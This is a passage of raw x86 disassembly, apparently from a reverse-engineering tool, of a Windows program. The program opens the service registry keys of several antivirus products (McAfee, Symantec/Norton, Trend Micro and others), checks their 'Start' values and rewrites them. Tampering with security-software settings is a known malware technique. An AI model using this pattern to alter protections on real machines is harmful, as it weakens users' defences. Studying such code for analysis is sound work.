mov eax, dword [ebp + 0x1b0]
lea edx, [ebp - 0x140]
push edx
push ebx
push eax
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404560
add esp, 0x1b4
lea ecx, [ebp - 0x140]
push ecx
lea ecx, [ebp - 0x17c]
call fcn.004f0087
push 0xa
mov ecx, eax
call fcn.004eff40
push 0x402150
mov ecx, eax
call fcn.004016a0
mov eax, dword [ebp - 0x14]
lea edx, [ebp + 0x1b4]
push 4
push edx
push 4
push 0
push str.Start
mov dword [ebp + 0x1b4], 2
push eax
jmp 0x440c0c
lea ecx, [ebp - 0x14]
push ecx
push 0xf003f
push 0
push str.SYSTEMCurrentControlSetServicesMcShield
push closesocket
call esi
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x28c]
push edx
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x20]
push eax
push ecx
push 0
push str.Start
push edx
call edi
test eax, eax
jne 0x440c12
mov eax, dword [ebp - 0x28c]
and eax, 0xff
jne 0x440afc
lea eax, [ebp - 0x40]
mov byte [ebp - 0x140], 0
push eax
call fcn.004fa6c0
add esp, 4
lea ecx, [ebp - 0x20c]
push eax
push ecx
call fcn.004fa6c0
add esp, 4
lea edx, [ebp - 0x140]
push eax
push 0x51d628
push edx
call fcn.004f175f
push 0x51d5f4
push 0x50d39c
push 0xd70b90
call fcn.004f175f
mov eax, dword [0xe56db0]
add esp, 0x1c
test eax, eax
jne 0x440af0
mov eax, dword [0xe56dbc]
test eax, eax
jne 0x440ac4
mov ecx, dword [ebp + 0x1b0]
lea eax, [ebp - 0x140]
push eax
push ebx
push ecx
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404170
add esp, 0x1b4
lea ecx, [ebp - 0x140]
push ecx
jmp 0x4407d3
mov eax, dword [ebp + 0x1b0]
lea edx, [ebp - 0x140]
push edx
push ebx
push eax
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404560
add esp, 0x1b4
lea ecx, [ebp - 0x140]
push ecx
jmp 0x4407d3
cmp eax, 2
je 0x44071a
cmp eax, 3
je 0x440b13
cmp eax, 4
jne 0x440c12
lea ecx, [ebp - 0x40]
mov byte [ebp - 0x140], 0
push ecx
call fcn.004fa6c0
add esp, 4
lea edx, [ebp - 0x20c]
push eax
push edx
call fcn.004fa6c0
add esp, 4
push eax
lea eax, [ebp - 0x140]
push 0x51d5b4
push eax
call fcn.004f175f
push 0x51d568
push 0x50d39c
push 0xd70b90
call fcn.004f175f
mov eax, dword [0xe56db0]
add esp, 0x1c
test eax, eax
jne 0x440bc5
mov eax, dword [0xe56dbc]
test eax, eax
jne 0x440b99
mov edx, dword [ebp + 0x1b0]
lea ecx, [ebp - 0x140]
push ecx
push ebx
push edx
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404170
jmp 0x440bbf
mov ecx, dword [ebp + 0x1b0]
lea eax, [ebp - 0x140]
push eax
push ebx
push ecx
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404560
add esp, 0x1b4
lea edx, [ebp - 0x140]
lea ecx, [ebp - 0x17c]
push edx
call fcn.004f0087
push 0xa
mov ecx, eax
call fcn.004eff40
push 0x402150
mov ecx, eax
call fcn.004016a0
mov ecx, dword [ebp - 0x14]
lea eax, [ebp + 0x1b4]
push 4
push eax
push 4
push 0
push str.Start
mov dword [ebp + 0x1b4], 2
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x14]
push eax
push 0xf003f
push 0
push str.SYSTEMCurrentControlSetServicesPcCtlCom
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x28c]
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x20]
push edx
push eax
push 0
push str.Start
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x440f3f
mov eax, dword [ebp - 0x28c]
and eax, 0xff
jne 0x440d3e
lea edx, [ebp - 0x40]
mov byte [ebp - 0x140], 0
push edx
call fcn.004fa6c0
add esp, 4
push eax
lea eax, [ebp - 0x20c]
push eax
call fcn.004fa6c0
add esp, 4
lea ecx, [ebp - 0x140]
push eax
push 0x51d4d0
push ecx
call fcn.004f175f
push 0x51d498
push 0x50d39c
push 0xd70b90
call fcn.004f175f
mov eax, dword [0xe56db0]
add esp, 0x1c
test eax, eax
jne 0x440d32
mov eax, dword [0xe56dbc]
test eax, eax
jne 0x440d06
mov eax, dword [ebp + 0x1b0]
lea edx, [ebp - 0x140]
push edx
push ebx
push eax
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404170
add esp, 0x1b4
lea eax, [ebp - 0x140]
push eax
jmp 0x440e00
mov edx, dword [ebp + 0x1b0]
lea ecx, [ebp - 0x140]
push ecx
push ebx
push edx
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404560
add esp, 0x1b4
lea eax, [ebp - 0x140]
push eax
jmp 0x440e00
cmp eax, 2
jne 0x440e32
lea ecx, [ebp - 0x40]
mov byte [ebp - 0x140], 0
push ecx
call fcn.004fa6c0
add esp, 4
lea edx, [ebp - 0x20c]
push eax
push edx
call fcn.004fa6c0
add esp, 4
push eax
lea eax, [ebp - 0x140]
push 0x51d4d0
push eax
call fcn.004f175f
push 0x51d498
push 0x50d39c
push 0xd70b90
call fcn.004f175f
mov eax, dword [0xe56db0]
add esp, 0x1c
test eax, eax
jne 0x440df9
mov eax, dword [0xe56dbc]
test eax, eax
jne 0x440dcd
mov edx, dword [ebp + 0x1b0]
lea ecx, [ebp - 0x140]
push ecx
push ebx
push edx
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404170
jmp 0x440df3
mov ecx, dword [ebp + 0x1b0]
lea eax, [ebp - 0x140]
push eax
push ebx
push ecx
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404560
add esp, 0x1b4
lea edx, [ebp - 0x140]
push edx
lea ecx, [ebp - 0x17c]
call fcn.004f0087
push 0xa
mov ecx, eax
call fcn.004eff40
push 0x402150
mov ecx, eax
call fcn.004016a0
mov eax, 1
mov dword [ebp - 0x18], eax
mov dword [0xe56bf4], eax
jmp 0x440f3f
cmp eax, 3
je 0x440e40
cmp eax, 4
jne 0x440f3f
lea eax, [ebp - 0x40]
mov byte [ebp - 0x140], 0
push eax
call fcn.004fa6c0
add esp, 4
lea ecx, [ebp - 0x20c]
push eax
push ecx
call fcn.004fa6c0
add esp, 4
lea edx, [ebp - 0x140]
push eax
push 0x51d458
push edx
call fcn.004f175f
push 0x51d408
push 0x50d39c
push 0xd70b90
call fcn.004f175f
mov eax, dword [0xe56db0]
add esp, 0x1c
test eax, eax
jne 0x440ef2
mov eax, dword [0xe56dbc]
test eax, eax
jne 0x440ec6
mov ecx, dword [ebp + 0x1b0]
lea eax, [ebp - 0x140]
push eax
push ebx
push ecx
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404170
jmp 0x440eec
mov eax, dword [ebp + 0x1b0]
lea edx, [ebp - 0x140]
push edx
push ebx
push eax
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404560
add esp, 0x1b4
lea ecx, [ebp - 0x140]
push ecx
lea ecx, [ebp - 0x17c]
call fcn.004f0087
push 0xa
mov ecx, eax
call fcn.004eff40
push 0x402150
mov ecx, eax
call fcn.004016a0
mov eax, dword [ebp - 0x14]
lea edx, [ebp + 0x1b4]
push 4
push edx
push 4
push 0
push str.Start
push eax
mov dword [ebp + 0x1b4], 2
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0x14]
push edx
push 0xf003f
push 0
push str.SYSTEMCurrentControlSetServicesPcScnSrv
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x28c]
push eax
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x20]
push ecx
push edx
push 0
push str.Start
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x44126c
mov eax, dword [ebp - 0x28c]
and eax, 0xff
jne 0x44106b
lea ecx, [ebp - 0x40]
mov byte [ebp - 0x140], 0
push ecx
call fcn.004fa6c0
add esp, 4
lea edx, [ebp - 0x20c]
push eax
push edx
call fcn.004fa6c0
add esp, 4
push eax
lea eax, [ebp - 0x140]
push 0x51d4d0
push eax
call fcn.004f175f
push 0x51d498
push 0x50d39c
push 0xd70b90
call fcn.004f175f
mov eax, dword [0xe56db0]
add esp, 0x1c
test eax, eax
jne 0x44105f
mov eax, dword [0xe56dbc]
test eax, eax
jne 0x441033
mov edx, dword [ebp + 0x1b0]
lea ecx, [ebp - 0x140]
push ecx
push ebx
push edx
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404170
add esp, 0x1b4
lea edx, [ebp - 0x140]
push edx
jmp 0x44112d
mov ecx, dword [ebp + 0x1b0]
lea eax, [ebp - 0x140]
push eax
push ebx
push ecx
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404560
add esp, 0x1b4
lea edx, [ebp - 0x140]
push edx
jmp 0x44112d
cmp eax, 2
jne 0x44115f
lea eax, [ebp - 0x40]
mov byte [ebp - 0x140], 0
push eax
call fcn.004fa6c0
add esp, 4
lea ecx, [ebp - 0x20c]
push eax
push ecx
call fcn.004fa6c0
add esp, 4
lea edx, [ebp - 0x140]
push eax
push 0x51d4d0
push edx
call fcn.004f175f
push 0x51d498
push 0x50d39c
push 0xd70b90
call fcn.004f175f
mov eax, dword [0xe56db0]
add esp, 0x1c
test eax, eax
jne 0x441126
mov eax, dword [0xe56dbc]
test eax, eax
jne 0x4410fa
mov ecx, dword [ebp + 0x1b0]
lea eax, [ebp - 0x140]
push eax
push ebx
push ecx
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404170
jmp 0x441120
mov eax, dword [ebp + 0x1b0]
lea edx, [ebp - 0x140]
push edx
push ebx
push eax
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404560
add esp, 0x1b4
lea ecx, [ebp - 0x140]
push ecx
lea ecx, [ebp - 0x17c]
call fcn.004f0087
push 0xa
mov ecx, eax
call fcn.004eff40
push 0x402150
mov ecx, eax
call fcn.004016a0
mov eax, 1
mov dword [ebp - 0x18], eax
mov dword [0xe56bf4], eax
jmp 0x44126c
cmp eax, 3
je 0x44116d
cmp eax, 4
jne 0x44126c
lea edx, [ebp - 0x40]
mov byte [ebp - 0x140], 0
push edx
call fcn.004fa6c0
add esp, 4
push eax
lea eax, [ebp - 0x20c]
push eax
call fcn.004fa6c0
add esp, 4
lea ecx, [ebp - 0x140]
push eax
push 0x51d458
push ecx
call fcn.004f175f
push 0x51d408
push 0x50d39c
push 0xd70b90
call fcn.004f175f
mov eax, dword [0xe56db0]
add esp, 0x1c
test eax, eax
jne 0x44121f
mov eax, dword [0xe56dbc]
test eax, eax
jne 0x4411f3
mov eax, dword [ebp + 0x1b0]
lea edx, [ebp - 0x140]
push edx
push ebx
push eax
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404170
jmp 0x441219
mov edx, dword [ebp + 0x1b0]
lea ecx, [ebp - 0x140]
push ecx
push ebx
push edx
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404560
add esp, 0x1b4
lea eax, [ebp - 0x140]
lea ecx, [ebp - 0x17c]
push eax
call fcn.004f0087
push 0xa
mov ecx, eax
call fcn.004eff40
push 0x402150
mov ecx, eax
call fcn.004016a0
mov edx, dword [ebp - 0x14]
lea ecx, [ebp + 0x1b4]
push 4
push ecx
push 4
push 0
push str.Start
push edx
mov dword [ebp + 0x1b4], 2
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x14]
push ecx
push 0xf003f
push 0
push str.SYSTEMCurrentControlSetServicesSfCtlCom
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x28c]
push edx
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x20]
push eax
push ecx
push 0
push str.Start
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x441599
mov eax, dword [ebp - 0x28c]
and eax, 0xff
jne 0x441398
lea eax, [ebp - 0x40]
mov byte [ebp - 0x140], 0
push eax
call fcn.004fa6c0
add esp, 4
lea ecx, [ebp - 0x20c]
push eax
push ecx
call fcn.004fa6c0
add esp, 4
lea edx, [ebp - 0x140]
push eax
push 0x51d4d0
push edx
call fcn.004f175f
push 0x51d498
push 0x50d39c
push 0xd70b90
call fcn.004f175f
mov eax, dword [0xe56db0]
add esp, 0x1c
test eax, eax
jne 0x44138c
mov eax, dword [0xe56dbc]
test eax, eax
jne 0x441360
mov ecx, dword [ebp + 0x1b0]
lea eax, [ebp - 0x140]
push eax
push ebx
push ecx
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404170
add esp, 0x1b4
lea ecx, [ebp - 0x140]
push ecx
jmp 0x44145a
mov eax, dword [ebp + 0x1b0]
lea edx, [ebp - 0x140]
push edx
push ebx
push eax
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404560
add esp, 0x1b4
lea ecx, [ebp - 0x140]
push ecx
jmp 0x44145a
cmp eax, 2
jne 0x44148c
lea edx, [ebp - 0x40]
mov byte [ebp - 0x140], 0
push edx
call fcn.004fa6c0
add esp, 4
push eax
lea eax, [ebp - 0x20c]
push eax
call fcn.004fa6c0
add esp, 4
lea ecx, [ebp - 0x140]
push eax
push 0x51d4d0
push ecx
call fcn.004f175f
push 0x51d498
push 0x50d39c
push 0xd70b90
call fcn.004f175f
mov eax, dword [0xe56db0]
add esp, 0x1c
test eax, eax
jne 0x441453
mov eax, dword [0xe56dbc]
test eax, eax
jne 0x441427
mov eax, dword [ebp + 0x1b0]
lea edx, [ebp - 0x140]
push edx
push ebx
push eax
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404170
jmp 0x44144d
mov edx, dword [ebp + 0x1b0]
lea ecx, [ebp - 0x140]
push ecx
push ebx
push edx
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404560
add esp, 0x1b4
lea eax, [ebp - 0x140]
push eax
lea ecx, [ebp - 0x17c]
call fcn.004f0087
push 0xa
mov ecx, eax
call fcn.004eff40
push 0x402150
mov ecx, eax
call fcn.004016a0
mov eax, 1
mov dword [ebp - 0x18], eax
mov dword [0xe56bf4], eax
jmp 0x441599
cmp eax, 3
je 0x44149a
cmp eax, 4
jne 0x441599
lea ecx, [ebp - 0x40]
mov byte [ebp - 0x140], 0
push ecx
call fcn.004fa6c0
add esp, 4
lea edx, [ebp - 0x20c]
push eax
push edx
call fcn.004fa6c0
add esp, 4
push eax
lea eax, [ebp - 0x140]
push 0x51d458
push eax
call fcn.004f175f
push 0x51d408
push 0x50d39c
push 0xd70b90
call fcn.004f175f
mov eax, dword [0xe56db0]
add esp, 0x1c
test eax, eax
jne 0x44154c
mov eax, dword [0xe56dbc]
test eax, eax
jne 0x441520
mov edx, dword [ebp + 0x1b0]
lea ecx, [ebp - 0x140]
push ecx
push ebx
push edx
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404170
jmp 0x441546
mov ecx, dword [ebp + 0x1b0]
lea eax, [ebp - 0x140]
push eax
push ebx
push ecx
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404560
add esp, 0x1b4
lea edx, [ebp - 0x140]
lea ecx, [ebp - 0x17c]
push edx
call fcn.004f0087
push 0xa
mov ecx, eax
call fcn.004eff40
push 0x402150
mov ecx, eax
call fcn.004016a0
mov ecx, dword [ebp - 0x14]
lea eax, [ebp + 0x1b4]
push 4
push eax
push 4
push 0
push str.Start
push ecx
mov dword [ebp + 0x1b4], 2
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x14]
push eax
push 0xf003f
push 0
push str.SYSTEMCurrentControlSetServicesTmntsrv
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x28c]
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x20]
push edx
push eax
push 0
push str.Start
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4418c6
mov eax, dword [ebp - 0x28c]
and eax, 0xff
jne 0x4416c5
lea edx, [ebp - 0x40]
mov byte [ebp - 0x140], 0
push edx
call fcn.004fa6c0
add esp, 4
push eax
lea eax, [ebp - 0x20c]
push eax
call fcn.004fa6c0
add esp, 4
lea ecx, [ebp - 0x140]
push eax
push 0x51d4d0
push ecx
call fcn.004f175f
push 0x51d498
push 0x50d39c
push 0xd70b90
call fcn.004f175f
mov eax, dword [0xe56db0]
add esp, 0x1c
test eax, eax
jne 0x4416b9
mov eax, dword [0xe56dbc]
test eax, eax
jne 0x44168d
mov eax, dword [ebp + 0x1b0]
lea edx, [ebp - 0x140]
push edx
push ebx
push eax
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404170
add esp, 0x1b4
lea eax, [ebp - 0x140]
push eax
jmp 0x441787
mov edx, dword [ebp + 0x1b0]
lea ecx, [ebp - 0x140]
push ecx
push ebx
push edx
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404560
add esp, 0x1b4
lea eax, [ebp - 0x140]
push eax
jmp 0x441787
cmp eax, 2
jne 0x4417b9
lea ecx, [ebp - 0x40]
mov byte [ebp - 0x140], 0
push ecx
call fcn.004fa6c0
add esp, 4
lea edx, [ebp - 0x20c]
push eax
push edx
call fcn.004fa6c0
add esp, 4
push eax
lea eax, [ebp - 0x140]
push 0x51d4d0
push eax
call fcn.004f175f
push 0x51d498
push 0x50d39c
push 0xd70b90
call fcn.004f175f
mov eax, dword [0xe56db0]
add esp, 0x1c
test eax, eax
jne 0x441780
mov eax, dword [0xe56dbc]
test eax, eax
jne 0x441754
mov edx, dword [ebp + 0x1b0]
lea ecx, [ebp - 0x140]
push ecx
push ebx
push edx
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404170
jmp 0x44177a
mov ecx, dword [ebp + 0x1b0]
lea eax, [ebp - 0x140]
push eax
push ebx
push ecx
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404560
add esp, 0x1b4
lea edx, [ebp - 0x140]
push edx
lea ecx, [ebp - 0x17c]
call fcn.004f0087
push 0xa
mov ecx, eax
call fcn.004eff40
push 0x402150
mov ecx, eax
call fcn.004016a0
mov eax, 1
mov dword [ebp - 0x18], eax
mov dword [0xe56bf4], eax
jmp 0x4418c6
cmp eax, 3
je 0x4417c7
cmp eax, 4
jne 0x4418c6
lea eax, [ebp - 0x40]
mov byte [ebp - 0x140], 0
push eax
call fcn.004fa6c0
add esp, 4
lea ecx, [ebp - 0x20c]
push eax
push ecx
call fcn.004fa6c0
add esp, 4
lea edx, [ebp - 0x140]
push eax
push 0x51d458
push edx
call fcn.004f175f
push 0x51d408
push 0x50d39c
push 0xd70b90
call fcn.004f175f
mov eax, dword [0xe56db0]
add esp, 0x1c
test eax, eax
jne 0x441879
mov eax, dword [0xe56dbc]
test eax, eax
jne 0x44184d
mov ecx, dword [ebp + 0x1b0]
lea eax, [ebp - 0x140]
push eax
push ebx
push ecx
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404170
jmp 0x441873
mov eax, dword [ebp + 0x1b0]
lea edx, [ebp - 0x140]
push edx
push ebx
push eax
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404560
add esp, 0x1b4
lea ecx, [ebp - 0x140]
push ecx
lea ecx, [ebp - 0x17c]
call fcn.004f0087
push 0xa
mov ecx, eax
call fcn.004eff40
push 0x402150
mov ecx, eax
call fcn.004016a0
mov eax, dword [ebp - 0x14]
lea edx, [ebp + 0x1b4]
push 4
push edx
push 4
push 0
push str.Start
push eax
mov dword [ebp + 0x1b4], 2
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0x14]
push edx
push 0xf003f
push 0
push str.SYSTEMCurrentControlSetServicesSymantec_AntiVirus
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x28c]
push eax
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x20]
push ecx
push edx
push 0
push str.Start
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x441bed
mov eax, dword [ebp - 0x28c]
and eax, 0xff
jne 0x4419f2
lea ecx, [ebp - 0x40]
mov byte [ebp - 0x140], 0
push ecx
call fcn.004fa6c0
add esp, 4
lea edx, [ebp - 0x20c]
push eax
push edx
call fcn.004fa6c0
add esp, 4
push eax
lea eax, [ebp - 0x140]
push 0x51d310
push eax
call fcn.004f175f
push 0x51d2dc
push 0x50d39c
push 0xd70b90
call fcn.004f175f
mov eax, dword [0xe56db0]
add esp, 0x1c
test eax, eax
jne 0x4419e6
mov eax, dword [0xe56dbc]
test eax, eax
jne 0x4419ba
mov edx, dword [ebp + 0x1b0]
lea ecx, [ebp - 0x140]
push ecx
push ebx
push edx
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404170
add esp, 0x1b4
lea edx, [ebp - 0x140]
push edx
jmp 0x441ab4
mov ecx, dword [ebp + 0x1b0]
lea eax, [ebp - 0x140]
push eax
push ebx
push ecx
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404560
add esp, 0x1b4
lea edx, [ebp - 0x140]
push edx
jmp 0x441ab4
cmp eax, 2
jne 0x441ae0
lea eax, [ebp - 0x40]
mov byte [ebp - 0x140], 0
push eax
call fcn.004fa6c0
add esp, 4
lea ecx, [ebp - 0x20c]
push eax
push ecx
call fcn.004fa6c0
add esp, 4
lea edx, [ebp - 0x140]
push eax
push 0x51d310
push edx
call fcn.004f175f
push 0x51d2a8
push 0x50d39c
push 0xd70b90
call fcn.004f175f
mov eax, dword [0xe56db0]
add esp, 0x1c
test eax, eax
jne 0x441aad
mov eax, dword [0xe56dbc]
test eax, eax
jne 0x441a81
mov ecx, dword [ebp + 0x1b0]
lea eax, [ebp - 0x140]
push eax
push ebx
push ecx
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404170
jmp 0x441aa7
mov eax, dword [ebp + 0x1b0]
lea edx, [ebp - 0x140]
push edx
push ebx
push eax
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404560
add esp, 0x1b4
lea ecx, [ebp - 0x140]
push ecx
lea ecx, [ebp - 0x17c]
call fcn.004f0087
push 0xa
mov ecx, eax
call fcn.004eff40
push 0x402150
mov ecx, eax
call fcn.004016a0
mov dword [ebp - 0x18], 1
jmp 0x441bed
cmp eax, 3
je 0x441aee
cmp eax, 4
jne 0x441bed
lea edx, [ebp - 0x40]
mov byte [ebp - 0x140], 0
push edx
call fcn.004fa6c0
add esp, 4
push eax
lea eax, [ebp - 0x20c]
push eax
call fcn.004fa6c0
add esp, 4
lea ecx, [ebp - 0x140]
push eax
push 0x51d26c
push ecx
call fcn.004f175f
push 0x51d220
push 0x50d39c
push 0xd70b90
call fcn.004f175f
mov eax, dword [0xe56db0]
add esp, 0x1c
test eax, eax
jne 0x441ba0
mov eax, dword [0xe56dbc]
test eax, eax
jne 0x441b74
mov eax, dword [ebp + 0x1b0]
lea edx, [ebp - 0x140]
push edx
push ebx
push eax
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404170
jmp 0x441b9a
mov edx, dword [ebp + 0x1b0]
lea ecx, [ebp - 0x140]
push ecx
push ebx
push edx
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404560
add esp, 0x1b4
lea eax, [ebp - 0x140]
lea ecx, [ebp - 0x17c]
push eax
call fcn.004f0087
push 0xa
mov ecx, eax
call fcn.004eff40
push 0x402150
mov ecx, eax
call fcn.004016a0
mov edx, dword [ebp - 0x14]
lea ecx, [ebp + 0x1b4]
push 4
push ecx
push 4
push 0
push str.Start
push edx
mov dword [ebp + 0x1b4], 2
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x14]
push ecx
push 0xf003f
push 0
push str.SYSTEMCurrentControlSetServicesNorton_AntiVirus_Server
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x28c]
push edx
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x20]
push eax
push ecx
push 0
push str.Start
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x441f14
mov eax, dword [ebp - 0x28c]
and eax, 0xff
jne 0x441d19
lea eax, [ebp - 0x40]
mov byte [ebp - 0x140], 0
push eax
call fcn.004fa6c0
add esp, 4
lea ecx, [ebp - 0x20c]
push eax
push ecx
call fcn.004fa6c0
add esp, 4
lea edx, [ebp - 0x140]
push eax
push 0x51d310
push edx
call fcn.004f175f
push 0x51d2dc
push 0x50d39c
push 0xd70b90
call fcn.004f175f
mov eax, dword [0xe56db0]
add esp, 0x1c
test eax, eax
jne 0x441d0d
mov eax, dword [0xe56dbc]
test eax, eax
jne 0x441ce1
mov ecx, dword [ebp + 0x1b0]
lea eax, [ebp - 0x140]
push eax
push ebx
push ecx
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404170
add esp, 0x1b4
lea ecx, [ebp - 0x140]
push ecx
jmp 0x441ddb
mov eax, dword [ebp + 0x1b0]
lea edx, [ebp - 0x140]
push edx
push ebx
push eax
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404560
add esp, 0x1b4
lea ecx, [ebp - 0x140]
push ecx
jmp 0x441ddb
cmp eax, 2
jne 0x441e07
lea edx, [ebp - 0x40]
mov byte [ebp - 0x140], 0
push edx
call fcn.004fa6c0
add esp, 4
push eax
lea eax, [ebp - 0x20c]
push eax
call fcn.004fa6c0
add esp, 4
lea ecx, [ebp - 0x140]
push eax
push 0x51d310
